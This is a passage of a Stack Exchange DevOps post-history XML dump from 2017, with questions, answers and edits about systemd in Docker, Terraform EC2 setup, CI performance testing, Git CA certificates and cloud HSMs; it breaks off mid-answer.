  <row Id="8585" PostHistoryTypeId="6" PostId="1635" RevisionGUID="acc0b10e-1b18-4736-b755-9ab5dd104eb7" CreationDate="2017-11-30T22:21:09.043" UserId="210" Comment="edited tags" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8586" PostHistoryTypeId="2" PostId="2748" RevisionGUID="1b30c62c-acff-424b-9f09-0bfde901c878" CreationDate="2017-11-30T22:42:38.740" UserId="210" Text="According to [this blog][1], it is possible to run systemd inside a docker container by building the following dockerfile&#xD;&#xA;&#xD;&#xA;&gt;     FROM fedora:rawhide&#xD;&#xA;&gt;     MAINTAINER “Dan Walsh” &lt;dwalsh@redhat.com&gt;&#xD;&#xA;&gt;     ENV container docker&#xD;&#xA;&gt;     RUN yum -y update; yum clean all&#xD;&#xA;&gt;     RUN yum -y install systemd; yum clean all;&#xD;&#xA;&gt;     (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == systemd-tmpfiles-setup.service ] || rm -f $i; done);&#xD;&#xA;&gt;     rm -f /lib/systemd/system/multi-user.target.wants/*;&#xD;&#xA;&gt;     rm -f /etc/systemd/system/*.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/local-fs.target.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/sockets.target.wants/*udev*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/sockets.target.wants/*initctl*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/basic.target.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/anaconda.target.wants/*;&#xD;&#xA;&gt;     VOLUME [ “/sys/fs/cgroup” ]&#xD;&#xA;&gt;     CMD [“/usr/sbin/init”]&#xD;&#xA;&#xD;&#xA;using this command&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt;     docker build -t httpd_rawhide .&#xD;&#xA;&#xD;&#xA;The author indicates that the built docker image could be used as a base image&#xD;&#xA;&#xD;&#xA;&gt;     FROM systemd_rawhide&#xD;&#xA;&gt;     RUN yum -y install httpd; yum clean all; systemctl enable httpd.service&#xD;&#xA;&gt;     EXPOSE 80&#xD;&#xA;&gt;     CMD [“/usr/sbin/init”]&#xD;&#xA;&#xD;&#xA;and if the container is run&#xD;&#xA;&#xD;&#xA;&gt;     docker run –privileged -ti -v /sys/fs/cgroup:/sys/fs/cgroup:ro -p 80:80 httpd_rawhide&#xD;&#xA;&#xD;&#xA;systemd will run inside the docker container. It is also possible to run multiple services using systemd. According to the creator of this blog it would be possible to run both mariadb and http inside the same container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on this blog and other articles I read my conclusion is that it is technically possible to run systemd inside a docker container, but I would recommend to avoid running systemd inside a container. &#xD;&#xA;&#xD;&#xA;First of all, if systemd is able to run inside a container then this means that it is possible to run multiple services like the author did. From a docker perspective this is not recommended as docker is meant to scale horizontally, i.e. if the load increases of http then addtional docker images should be started. &#xD;&#xA;&#xD;&#xA;Second, if such a systemd container will be deployed on an orchestration platform like docker swarm. Will that work? I have some doubts whether that will work. &#xD;&#xA;&#xD;&#xA;Third, Running systemd by mounting the cgroup in a privileged container does not look very secure. &#xD;&#xA;&#xD;&#xA;In conclusion, although you indicated that the script requires systemd, either rewrite the code or use something else. Running systemd inside a docker container should be avoided in my opinion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.redhat.com/blog/2014/05/05/running-systemd-within-docker-container/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8587" PostHistoryTypeId="2" PostId="2749" RevisionGUID="cc78858e-041e-484c-9964-01afc516478d" CreationDate="2017-11-30T22:48:48.910" UserId="5475" Text="We are planning to use Terraform for provisioning EC2 instance which will host Oracle DB. While we are able to achieve this, there are some questions for which I am searching for suggestions / feedback's. &#xD;&#xA;&#xD;&#xA;**Below is the directory structure we are planning:**&#xD;&#xA;&#xD;&#xA;    |aws      &#xD;&#xA;      |Environments&#xD;&#xA;        |STAGING&#xD;&#xA;            |Modules&#xD;&#xA;               |Compute&#xD;&#xA;               |Networking&#xD;&#xA;&#xD;&#xA;        |PRODUCTION&#xD;&#xA;            |Modules&#xD;&#xA;               |Compute&#xD;&#xA;               |Networking&#xD;&#xA;     &#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA; - We are able to create EC2 instances using existing VPC. As VPC is not something that will be owned by my team. Is it enough to keep VPC ID, SUBNET ID, etc as variables in EC2 resource or is there a best practice to keep them in modules for existing VPC ? Overall, our tf codes are not going to manage the VPC's, just use what is being giving to us, but want to make it dynamic so that changes are simple, yet DRY&#xD;&#xA;&#xD;&#xA; - We are planning for Continuous Development, meaning, developers / requester will have the ability to request for a new ec2 instance with certain version of database. Right now, we are installing db with bootstrap scripts. Though this works as expected. Increasing count for more than 1 instance works, but what if the configuration slightly changes. &#xD;&#xA;&#xD;&#xA;&gt;  **For example:** &#xD;&#xA;&gt;            &#xD;&#xA;1) If I need more  capacity on root volume for the new instance,    changing the existing resource shows a plan that will&#xD;&#xA;&gt; destroy    existing resource and recreate. **How can we achieve this&#xD;&#xA;&gt; ?** Is    duplicating the **aws_instance** resource, the only way when&#xD;&#xA;&gt; the    configuration changes for new EC2 instance?&#xD;&#xA;&gt;           &#xD;&#xA;&gt;    2) If new instances launch as t2.large(Instance type passed as variable) while old ones run on t2.micro, will it recreate old&#xD;&#xA;&gt; instances too if I just increase the count&#xD;&#xA;&#xD;&#xA;*Also, is there a way to automate this process i.e. append something like a template for new EC2 instance to existing .tf file.* &#xD;&#xA;&#xD;&#xA;**What do we have now**&#xD;&#xA;&#xD;&#xA;***Main.tf***&#xD;&#xA;&#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      access_key = &quot;${var.access_key}&quot;&#xD;&#xA;      secret_key = &quot;${var.secret_key}&quot;&#xD;&#xA;      region     = &quot;${var.region}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;oracle_ec2&quot; {&#xD;&#xA;      ami           = &quot;${lookup(var.ami, var.region)}&quot;&#xD;&#xA;      instance_type = &quot;${var.instance_type}&quot;&#xD;&#xA;      key_name      = &quot;${var.key_name}&quot;&#xD;&#xA;      subnet_id     = &quot;${var.subnet_id}&quot;&#xD;&#xA;    &#xD;&#xA;      vpc_security_group_ids = [&quot;${aws_security_group.oracle_sg_new.id}&quot;]&#xD;&#xA;    &#xD;&#xA;      root_block_device {&#xD;&#xA;        volume_type           = &quot;gp2&quot;&#xD;&#xA;        volume_size           = 10&#xD;&#xA;        delete_on_termination = true&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      ebs_block_device {&#xD;&#xA;        device_name           = &quot;/dev/xvdb&quot;&#xD;&#xA;        volume_type           = &quot;gp2&quot;&#xD;&#xA;        volume_size           = 200&#xD;&#xA;        delete_on_termination = true&#xD;&#xA;      }    &#xD;&#xA;        &#xD;&#xA;      count = &quot;${var.instance_count}&quot;&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;Ora&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8588" PostHistoryTypeId="1" PostId="2749" RevisionGUID="cc78858e-041e-484c-9964-01afc516478d" CreationDate="2017-11-30T22:48:48.910" UserId="5475" Text="How to apply using Terraform to launch multiple EC2 Resource with different configs (VPC not maintained by TF)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8589" PostHistoryTypeId="3" PostId="2749" RevisionGUID="cc78858e-041e-484c-9964-01afc516478d" CreationDate="2017-11-30T22:48:48.910" UserId="5475" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-s3&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8590" PostHistoryTypeId="6" PostId="2744" RevisionGUID="bc7728e5-0007-4cb5-99a5-dd818f4f984b" CreationDate="2017-11-30T22:53:28.593" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;monorepo&gt;&lt;gradle&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8593" PostHistoryTypeId="2" PostId="2751" RevisionGUID="723c9961-4690-4379-8316-bcd3f8ea4023" CreationDate="2017-11-30T23:01:17.333" UserId="210" Text="In my opinion k8s should not be used to build docker images as it is an orchestration platform, but there is an [open issue in the GitHub k8s repository][1]. In conclusion, building docker images on a k8s cluster seems not to be possible at the moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/issues/1806" ContentLicense="CC BY-SA 3.0" />
  <row Id="8594" PostHistoryTypeId="2" PostId="2752" RevisionGUID="b2c5689f-6e5f-4287-9e04-dc1fd041774c" CreationDate="2017-11-30T23:07:20.720" UserId="210" Text="There are tools that test the performance of applications, like gatling. It is possible to run such a test once in a while, but in practice is is not run periodically. We were discussing how to run it regularly and add it to every build, but the CI was getting slow. On the other hand it is important to know if a code change decreases the application performance." ContentLicense="CC BY-SA 3.0" />
  <row Id="8595" PostHistoryTypeId="1" PostId="2752" RevisionGUID="b2c5689f-6e5f-4287-9e04-dc1fd041774c" CreationDate="2017-11-30T23:07:20.720" UserId="210" Text="Should performance test be run using a CI and how often?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8596" PostHistoryTypeId="3" PostId="2752" RevisionGUID="b2c5689f-6e5f-4287-9e04-dc1fd041774c" CreationDate="2017-11-30T23:07:20.720" UserId="210" Text="&lt;continuous-integration&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8597" PostHistoryTypeId="2" PostId="2753" RevisionGUID="5eddfc86-0534-40a2-b2cd-29a841d4dffc" CreationDate="2017-11-30T23:57:27.167" UserId="5051" Text="I will assume by CI you mean *one* integration server. The best way to get the maximum out of your tests and environment stability is to decouple environment per test type. The best example is production which is lively &quot;tested&quot; by your users.&#xD;&#xA;&#xD;&#xA;Be aware that by environment, I mean the server or servers used to deploy a specific version of your application or applications (I will refer this as the build). In such emvironment, you would tipically have similar setup as your live/production environment. Based on your team restrictions, here is what I proposed:&#xD;&#xA;&#xD;&#xA;**Restricted from having a new environment**&#xD;&#xA;&#xD;&#xA;Simply schedule a job to start load testing when the traffic is minimal. This is usually at night. Upon the test completion, a report should be available and granular enough to indicate where improvements are required based your internal threshold.&#xD;&#xA;&#xD;&#xA;**No restriction on having another environment**&#xD;&#xA;&#xD;&#xA;* Create a new environment for load tests&#xD;&#xA;* For each new build, if it was successfully deployed and/or tested in the CI server, deploy to the new environment&#xD;&#xA;* Run the load tests and save the results. Depending on your CI tool, you might be able to configure reports and alerts according to your results quality&#xD;&#xA;&#xD;&#xA;In both case, you will need to specify your load test suite in a way that allows you to figure out where latency is too high. I would personally suggest you the second solution. Though it requires more setup and maintenance, it is the most benificial for the following reasons:&#xD;&#xA;&#xD;&#xA;* Tells you exactly when the build starts to be unstable. For the first solution, you might need to investigate  because a lot of change is happening during the day.&#xD;&#xA;* High visibility on *what/who* made the system slower. At this time, the teams are aware of the issue and can remedy right away. The nighly job might be overlooked on the long run.&#xD;&#xA;* Can serve as a performance gate where all builds with a certain response time will stop from going further (i.e. production) until the response time is improved. This is unpractical to put in place with a nightly job. Also, you would need to wait a day to see the result of an improvement or run the test manually.&#xD;&#xA;&#xD;&#xA;If you are in the journey to CI/CD, fast failures is prefered as delayed failures. Losing a day to fix a peoblem can have considerable impact on your time to market." ContentLicense="CC BY-SA 3.0" />
  <row Id="8598" PostHistoryTypeId="2" PostId="2754" RevisionGUID="71e6b2fd-b227-4898-a6d4-a887bd5f7918" CreationDate="2017-11-30T23:59:13.663" UserId="47" Text="There is no right answer, in a sense you're facing a requirement conflict. You can't eat the cake and have it, too ;)&#xD;&#xA;&#xD;&#xA;If a particular QA verification (any, really, not just performance) is important enough and you want to catch any regression right away - you have to insert it in the CI execution. But, unless you manage to somehow execute it in parallel with other existing jobs in the CI pipeline, it will extend the duration of the CI execution. &#xD;&#xA;&#xD;&#xA;You could, if you want, perform it in a &quot;slower&quot; CI pipeline, executed less often than your regular CI pipeline. For example just nightly instead of after every commit. The drawback is that when a regression is detected you'll have to sift through a bigger pile of commits to identify the culprit. Which can be done either manually, though human analysis, or using automated bisections executing the affected QA verifications (or even a mix of both). But that takes time and resources. If it's a rare event it could be an acceptable compromise, if not then you have to decrease the time between the &quot;slower&quot; CI pipeline executions.&#xD;&#xA;&#xD;&#xA;You have to decide what's more important: the CI execution speed or catching regressions faster. This decision can also depend on the development stage context. For example:&#xD;&#xA;&#xD;&#xA;- if you're in the master/dev development branch where you have a lot of changes coming in the CI execution speed would likely be more important&#xD;&#xA;- if you're on a release branch cut for production, where you have a significantly lower rate of commits than in the master branch, catching regressions faster would have priority (the longer CI execution would have less impact)&#xD;&#xA;&#xD;&#xA;Finally, such decision would be easier when using a CI system capable of combining changesets because the impact of a longer CI execution over the *effective* changeset verification time is reduced, see https://devops.stackexchange.com/questions/2635/from-6-months-to-16-seconds-grokking-devops-speedup-data-from-devops-report-by/2636#2636." ContentLicense="CC BY-SA 3.0" />
  <row Id="8599" PostHistoryTypeId="2" PostId="2755" RevisionGUID="ee738c51-f2da-4248-b4bf-15f2a9dc5b67" CreationDate="2017-12-01T00:05:25.170" UserId="5051" Text="Build tools like maven or gradle could benefit you greatly here. It would do exactly what you have in mind as long as you have child project definition (with a build.gradle in gradle or pom.xml in maven).&#xD;&#xA;&#xD;&#xA;I would not recommend the script as it would mean you have to maintain and tweak it in the future. Instead, investing in build tools can give you great ROI as they do much more than just build.&#xD;&#xA;&#xD;&#xA;At the end if you canmot integrate a build tool, go for the script. It is a good idea also." ContentLicense="CC BY-SA 3.0" />
  <row Id="8600" PostHistoryTypeId="5" PostId="2755" RevisionGUID="71584b39-775d-4b0d-89e1-8b019ea3c270" CreationDate="2017-12-01T00:15:59.903" UserId="47" Comment="improved readability" Text="Build tools like [tag:maven] or [tag:gradle] could benefit you greatly here. It would do exactly what you have in mind as long as you have child project definition (with a `build.gradle` in gradle or `pom.xml` in maven).&#xD;&#xA;&#xD;&#xA;I would not recommend the script as it would mean you have to maintain and tweak it in the future. Instead, investing in build tools can give you great ROI as they do much more than just build.&#xD;&#xA;&#xD;&#xA;At the end if you cannot integrate a build tool, go for the script. It is a good idea also." ContentLicense="CC BY-SA 3.0" />
  <row Id="8601" PostHistoryTypeId="2" PostId="2756" RevisionGUID="d3e88b73-0497-420c-b903-a688df41b6ab" CreationDate="2017-12-01T02:05:44.750" UserId="5482" Text="What I really want is to add a comment to the accepted answer, but I don't have enough reputation to do so. So I'll note it here. I've closed BSERV-10344 because it's in the wrong tracker. This question is about Bitbucket Cloud (bitbucket.org), not Bitbucket Server (the behind-the-firewall version). The correct issue tracker for the feature request is at https://bitbucket.org/site/master/issues.&#xD;&#xA;&#xD;&#xA;Also, re: &quot;I'm not sure why they use different language for that&quot;, it's because Bitbucket Cloud supports Mercurial as well as Git. In Mercurial it's not possible to delete a named branch; they can only be closed. Since its support for Mercurial predates its support for Git, the terminology used is to &quot;close&quot; the branch." ContentLicense="CC BY-SA 3.0" />
  <row Id="8602" PostHistoryTypeId="5" PostId="2753" RevisionGUID="7beea162-12b6-4c35-b733-3384347d2854" CreationDate="2017-12-01T03:50:33.160" UserId="5051" Comment="Fix grammar and missing words" Text="I will assume by CI you mean *one* integration server. The best way to get the maximum out of your tests and environment stability is to decouple environment per test type. The best example is production which is lively &quot;tested&quot; by your users.&#xD;&#xA;&#xD;&#xA;Be aware that by environment, I mean the server or servers used to deploy a specific version of your application or applications (I will refer this as the build). In such emvironment, you would tipically have similar setup as your live/production environment. Based on your team restrictions, here is what I proposed:&#xD;&#xA;&#xD;&#xA;**Restricted from having a new environment**&#xD;&#xA;&#xD;&#xA;Simply schedule a job to start load testing when the traffic is minimal. This is usually at night. Upon test completion, a report should be available and granular enough to indicate where improvements are required based on your internal NFR threshold.&#xD;&#xA;&#xD;&#xA;**No restriction on having another environment**&#xD;&#xA;&#xD;&#xA;* Create a new environment for load tests&#xD;&#xA;* For each new build, if it was successfully deployed and/or tested in the CI server, deploy to the new environment&#xD;&#xA;* Run the load tests and save the results. Depending on your CI tool, you might be able to configure reports and alerts according to your results quality&#xD;&#xA;&#xD;&#xA;In both case, you will need to specify your load test suite in a way that allows you to figure out where latency is too high. I would personally suggest you the second solution. Though it requires more setup and maintenance, it is the most benificial for the following reasons:&#xD;&#xA;&#xD;&#xA;* Tells you exactly when the build starts to be unstable. For the first solution, you might need to investigate  because a lot of change is happening during the day.&#xD;&#xA;* High visibility on *what/who* made the system slower. At this time, the teams are aware of the issue and can remedy right away. The nighly job might be overlooked on the long run.&#xD;&#xA;* Can serve as a performance gate where all builds with a certain response time will stop from going further (i.e. production) until the response time is improved. This is unpractical to put in place with a nightly job. Also, you would need to wait a day to see the result of an improvement or run the test manually.&#xD;&#xA;&#xD;&#xA;If you are in the journey to CI/CD, fast failures is prefered as delayed failures. Losing a day to fix a problem can have considerable impact on your time to market." ContentLicense="CC BY-SA 3.0" />
  <row Id="8618" PostHistoryTypeId="2" PostId="2758" RevisionGUID="0e995aa5-0704-434f-99b1-a17d413fefd8" CreationDate="2017-12-01T11:15:45.780" UserId="13" Text="You'd better add this CA to a bundle of valid CA and keep using it for all cases with &#xD;&#xA;&#xD;&#xA;    git config --add --global http.sslcainfo=/path/to/cabundle&#xD;&#xA;    git config --add --global http.sslbackend=openssl&#xD;&#xA;&#xD;&#xA;Using https://curl.haxx.se/docs/caextract.html as starting CA bundle sounds a good idea in my opinion." ContentLicense="CC BY-SA 3.0" />
  <row Id="8619" PostHistoryTypeId="5" PostId="2633" RevisionGUID="f090b175-bd38-4fa0-be27-dfc636fa952b" CreationDate="2017-12-01T11:30:58.423" UserId="707" Comment="added 134 characters in body" Text="I have configured Git to use a specific CA certificate, but how can opt-out for it other than using the switch `-c http.sslVerify=false`? (or enforce other certificate which seems better in terms of security).&#xD;&#xA;&#xD;&#xA;Okay, a workaround was to create a shell script for a shortcut and use it like&#xD;&#xA;&#xD;&#xA;    gitf clone&#xD;&#xA;&#xD;&#xA;That is okay for a quick test in a secured and trusted environment but it is a potential security breach. Do not try this at home.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The real gotcha comes then in if I would like to use the Atom editor. Somehow I cannot find an option for the git executable.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8623" PostHistoryTypeId="2" PostId="2760" RevisionGUID="cf137b93-6f98-47c6-b438-8ca4ea2d8a09" CreationDate="2017-12-01T12:33:35.090" UserId="5493" Text="To expand on the answer above - try using:&#xD;&#xA;&#xD;&#xA;    branch: &quot;origin/pr/${pullRequestId}/from&quot;&#xD;&#xA;&#xD;&#xA;because in groovy, string interpolation is not done for simple strings - i.e. strings within single quotes. See http://groovy-lang.org/syntax.html#_string_interpolation for details on that." ContentLicense="CC BY-SA 3.0" />
  <row Id="8624" PostHistoryTypeId="2" PostId="2761" RevisionGUID="909bf441-710c-4657-a369-6cf10ab96ef8" CreationDate="2017-12-01T12:36:58.623" UserId="397" Text="I have to admit to never having asked, or been asked, the question if it is possible to have a Hardware Security Module in a public cloud, by which I mean Google, Amazon or Azure.  *Has anyone found any techniques for enabling organizations to use HSMs that they fully manage?*&#xD;&#xA;&#xD;&#xA;It seems to me that the two concepts, Cloud and HSMs, are fundamentally at odds with each other - because cloud generally involves &quot;outsourcing&quot; or transferring the risk of operating hardware to the cloud service provider.&#xD;&#xA;&#xD;&#xA;There is clearly a middle ground in terms of fully managed HSMs as you find in Azure and AWS:&#xD;&#xA;&#xD;&#xA; - [Azure KeyVault](https://azure.microsoft.com/en-gb/services/key-vault/): Use Key Vault and you don’t need to provision, configure, patch and maintain HSMs and key management software. Provision new vaults and keys (or import keys from your own HSMs) in minutes and centrally manage keys, secrets and policies.&#xD;&#xA; - [AWS CloudHSM](https://aws.amazon.com/cloudhsm/): AWS CloudHSM is a cloud-based hardware security module (HSM) that enables you to easily generate and use your own encryption keys on the AWS Cloud. With CloudHSM, you can manage your own encryption keys using FIPS 140-2 Level 3 validated HSMs.&#xD;&#xA;&#xD;&#xA;In addition there are some non-HSM based solutions to key management:&#xD;&#xA;&#xD;&#xA; - [Cloud Key Management (Google)](https://cloud.google.com/kms/): Cloud KMS is a cloud-hosted key management service that lets you manage encryption for your cloud services the same way you do on-premises. You can generate, use, rotate and destroy AES256 encryption keys. Cloud KMS is integrated with IAM and Cloud Audit Logging so that you can manage permissions on individual keys, and monitor how these are used. Use Cloud KMS to protect secrets and other sensitive data which you need to store in Google Cloud Platform.&#xD;&#xA; - Various Security Appliances available in all of the cloud marketplaces.&#xD;&#xA;&#xD;&#xA;Has anyone found any techniques for enabling organizations to use HSMs that they fully manage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8625" PostHistoryTypeId="1" PostId="2761" RevisionGUID="909bf441-710c-4657-a369-6cf10ab96ef8" CreationDate="2017-12-01T12:36:58.623" UserId="397" Text="Running fully-managed Hardware Security Modules (HSMs) in the Cloud" ContentLicense="CC BY-SA 3.0" />
  <row Id="8626" PostHistoryTypeId="3" PostId="2761" RevisionGUID="909bf441-710c-4657-a369-6cf10ab96ef8" CreationDate="2017-12-01T12:36:58.623" UserId="397" Text="&lt;security&gt;&lt;cloud&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8629" PostHistoryTypeId="50" PostId="1290" RevisionGUID="610544a2-2fbc-4973-93f5-579b0c1f1f34" CreationDate="2017-12-01T15:21:10.043" UserId="-1" />
  <row Id="8630" PostHistoryTypeId="4" PostId="2752" RevisionGUID="f5b240ff-3711-4325-bdca-11496b846a34" CreationDate="2017-12-01T18:20:18.983" UserId="210" Comment="edited title" Text="Should performance tests be run using a CI and how often?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8631" PostHistoryTypeId="5" PostId="2726" RevisionGUID="f691edd3-1bd2-4c5d-85e5-285119d7a50c" CreationDate="2017-12-01T18:26:46.290" UserId="210" Comment="deleted 1 character in body" Text="These are pretty much just tools our support and ops departments need to solve small tasks which crop up as a routine sideeffect of our main business operation. They might need to find all instances of Entity with both Field A and Field B, or change some property in some database without having to go through Ops.&#xD;&#xA;&#xD;&#xA;Anyway, I write them in Kotlin on Spring Boot just for speed and I use a different Spring Boot instance on each to avoid dealing with conflicting datasources in a single Spring Boot app. I use Docker just because we all use Docker, so why change now. And Docker-compose for easy deployment.&#xD;&#xA;&#xD;&#xA;The problem I have is that I want a single command to git update, rebuild image and restart containers. Or, even better. When one of the tools gets updated, just recreate it and replace the container live.&#xD;&#xA;&#xD;&#xA;Obviously I could script this, but it seems like something that would exist already. Is there something out there that's &quot;like&quot; CD, but which doesn't have all the overhead?&#xD;&#xA;&#xD;&#xA;I tried Dokku. Didn't like it. Way too complicated for what I needed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8632" PostHistoryTypeId="4" PostId="2743" RevisionGUID="4e97feda-5e5a-4482-82da-1ed2865e0332" CreationDate="2017-12-01T18:31:28.180" UserId="210" Comment="edited title" Text="Are there any guidelines for when to use gitlfs and will it break the CI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8638" PostHistoryTypeId="4" PostId="2761" RevisionGUID="201cdafe-1aaf-4b94-95af-46077d716384" CreationDate="2017-12-02T16:47:28.077" UserId="397" Comment="edited title" Text="Running unmanaged Hardware Security Modules (HSMs) in the Cloud" ContentLicense="CC BY-SA 3.0" />
  <row Id="8639" PostHistoryTypeId="2" PostId="2762" RevisionGUID="7dbefe22-fe13-4846-81e9-75b1ce17922e" CreationDate="2017-12-02T16:55:47.573" UserId="960" Text="One additional way to think about this is to consider alternate approaches, and whether they are suitable for your needs.&#xA;&#xA;One of the axis I break down performance metrics on is whether they are real-user metrics or synthetic metrics. Your performance test is presumably synthetic: it runs the same set of actions every time in the same environment, so as to make it easy to compare runs against each other.&#xA;&#xA;However, synthetic tests don't show the actual effect a change will have on users, which is what RUMs are all about. You can do canary rollouts, and if performance decreases in the canary past an acceptable threshold, roll it back and investigate (I saw a talk from Facebook about how they gather full debug traces on their canary servers and so can find which code was responsible for the slowness and automatically backtrace that to a set of commits and authors). This is more realistic in the user impact, but can be difficult to do without large amounts of traffic, as there is normal variation in what real users do.&#xA;&#xA;Ideally, you'll be using **both** of these methods of tracking performance. But since we don't live in an ideal world, you may be able to retain a focus on performance at your company by shifting more emphasis on one of these versus the other, to free up resources for other needs. In your particular example, is it an ok trade-off to have slower deploys if it means reducing the CI feedback cycle? Maybe - but that depends on your company." ContentLicense="CC BY-SA 3.0" />
  <row Id="8640" PostHistoryTypeId="2" PostId="2763" RevisionGUID="224ef03f-ecc8-483c-a4d9-f07478f299c8" CreationDate="2017-12-02T17:29:51.277" UserId="960" Text="While it's true that the version of python reported there doesn't have SNI support, I thought that RedHat backported it. But anyways, if not, you can do that yourself:&#xA;&#xA;    yum -y install gcc python-devel libffi-devel openssl-devel&#xA;    pip install pyopenssl ndg-httpsclient pyasn1&#xA;&#xA;(This works for `requests` at least, I'm not sure about Ansible.)&#xA;&#xA;On a broader note:&#xA;&#xA;&gt; But CentOS 7 ships with python 2.7.5. You can't upgrade it because get_url has the same issue with SSL and so you would have to download the python source with validate_certs=no.&#xA;&#xA;That's only the case if the server you're downloading Python from relies on SNI. I imagine most of their mirrors do not.&#xA;&#xA;But really, you shouldn't be compiling Python on every individual server. You should do it once, either on a machine that you freeze into an image that you launch further machines off of, or you package it as an rpm and the machines just download that and install it. This allows you to control the download process.&#xA;&#xA;Even simpler: download the package on your desktop (via verified https). Copy it to your file storage. Download from there onto your servers. There's no need to download directly from python.org every time, and it's more reliable to have a local copy anyways." ContentLicense="CC BY-SA 3.0" />
  <row Id="8641" PostHistoryTypeId="2" PostId="2764" RevisionGUID="86dc5eb7-4e4d-4c1a-bb50-d1fc587888d0" CreationDate="2017-12-02T20:28:00.490" UserId="5051" Text="I tend to agree with AnoE's answer. Getting the people and giving them the vision are primordial before DevOps should be put in the picture. I would also like to add two more things on top of that. The additions come from the experience with a team that got excited about &quot;DevOps&quot;.&#xA;&#xA;You already have the definition in mind, but I'd like to bring Wiki's:&#xA;&#xA;&gt; DevOps (a clipped compound of &quot;development&quot; and &quot;operations&quot;) is a software engineering practice that aims at **unifying** software development (Dev) and software operation (Ops). The main characteristic of the DevOps movement is to strongly advocate **automation and monitoring** at **all steps** of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at **shorter development** cycles, **increased deployment frequency**, more dependable releases, in close alignment with business objectives.&#xA;&#xA;&#xA;In short:&#xA;&#xA;* You want to build a team of developers, testers and operators&#xA;* Enforce short development cycles&#xA;* Enforce shorter deployment cycles&#xA;* Automate the above processes&#xA;* Due to the agility of the process, enforce monitoring and alerts at all stage of development (e.g. test, qa, production)&#xA;* You need a set of tools that will increase efficiency accross every stage (i.e. Jenkins, Jira, Gerrit, etc.)&#xA;&#xA;With these in mind, I can now bring the points previously mentioned at the beginning.&#xA;&#xA;**Failing is good**&#xA;&#xA;A baby doesn't learn to walk by standing up and walking. He learns through constant tries and failures. Even if, for an unknown reason, he gets up and starts walking, we shouldn't expect our babies to achieve the same. I usually point that out when people compare themselves to Google, Amazon or any other company with great achievements. Their failures thought them how to get stronger more than ingenious ideas all the time. Right now for example I am improving my english through constant writing and failure to make my points clearer and clearer.&#xA;&#xA;Failures will indicate your football team where improvement is required. These weaknesses will vary from a team to another. It might be in tooling, leadership, lack of vision, roadmap pressure, lack of experience, etc. No matter the reason, it is **primordial** that you take time to review each development cycle with everyone. Otherwise, you might enter the stage below, which is hell to come back from.&#xA;&#xA;**Always failing is not good**&#xA;&#xA;Something was wrong. Then something kept being wrong and that something got culturally accepted even though it is slowing down the team. Skipping failing tests, non automated provisionning management, ***deploying with crossed fingers*** are among few I had the chance to experience. These are triggers that indicates improvements are required. Failing to notice them can bring you to a hellish state where coming back will require a Genesis project.&#xA;&#xA;My answer is basically, go ahead for all the pros. But be aware that this sort of process will require culture and team monitoring in the sense that when  things start getting bad, your ***team must*** learn from it or it ***will die*** from it." ContentLicense="CC BY-SA 3.0" />
  <row Id="8642" PostHistoryTypeId="2" PostId="2765" RevisionGUID="7ab848dc-99e8-47b2-8d98-b9cca3cff22f" CreationDate="2017-12-03T04:47:14.497" UserId="47" Text="GIT hooks *could* work, but the trouble is that they're not automatically installed when the developers pulls a workspace. Which means they *might* end up being installed/used correctly or not. Unreliable.&#xD;&#xA;&#xD;&#xA;CI scripts *could* work as well, but the're reactive, simply indicating that something went wrong, in most cases humans still need to identify the culprit (which *might* be caused by an improper DTO subtree or by something else) and fix the problem.&#xD;&#xA;&#xD;&#xA;If you want your developers to properly pull their subtrees - offer them a scripted wrapper to do so - put the effort into that script so that it is simple to use and robust/working well such that the developer's workflow is effectively simplified. If you manage to do this (most of) the developers will see the benefit and they will use it.&#xD;&#xA;&#xD;&#xA;For the push side - you need to take into account that mistakes in push will happen (even with the above-mentioned script, if it's not used by *all* developers, for example). Everyone makes mistakes.&#xD;&#xA;&#xD;&#xA;Personally I favour *preventing* developers from directly pushing their changes into the integration branch and thus blocking possible mistakes from affecting the integration branch.&#xD;&#xA;&#xD;&#xA;Instead I'd have all *candidate* changes (i.e. either pushed in separate branches or just as diffs) funnelled through a mandatory *centralized* pre-commit verification system. Automated, of course, with the proper git subtrees management made reliable through that automation. The changes would only be committed/merged into the integration branch automatically by this system, if they meet the quality 